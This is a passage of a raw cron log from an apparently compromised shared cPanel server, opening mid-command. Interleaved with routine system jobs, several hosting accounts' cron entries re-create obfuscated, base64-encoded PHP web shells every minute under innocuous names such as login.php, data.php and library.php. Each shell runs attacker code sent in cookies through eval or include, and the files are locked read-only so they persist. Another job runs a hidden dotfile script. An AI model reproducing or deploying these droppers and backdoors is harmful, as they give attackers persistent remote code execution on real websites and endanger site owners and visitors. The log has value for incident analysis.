ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:33:01 medusa CROND[31910]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 06:33:01 medusa CROND[32066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:33:01 medusa CROND[32067]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:33:01 medusa CROND[32068]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:33:01 medusa CROND[32070]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:33:01 medusa CROND[32071]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:33:01 medusa CROND[32075]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:33:01 medusa CROND[32076]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:33:01 medusa CROND[32078]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:33:01 medusa CROND[32092]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:33:01 medusa CROND[32093]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:33:01 medusa CROND[32094]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:34:01 medusa CROND[18200]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:34:01 medusa CROND[18201]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:34:01 medusa CROND[18202]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:34:01 medusa CROND[18206]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:34:01 medusa CROND[18207]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:34:01 medusa CROND[18208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:34:01 medusa CROND[18209]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:34:01 medusa CROND[18213]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 06:34:01 medusa CROND[18214]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 06:34:01 medusa CROND[18215]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:34:01 medusa CROND[18216]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:34:01 medusa CROND[18217]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:34:01 medusa CROND[18235]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:35:01 medusa CROND[5180]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 06:35:01 medusa CROND[5197]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 06:35:01 medusa CROND[5254]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 06:35:02 medusa CROND[5410]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  2 06:35:02 medusa CROND[5448]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:35:02 medusa CROND[5449]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 06:35:02 medusa CROND[5452]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
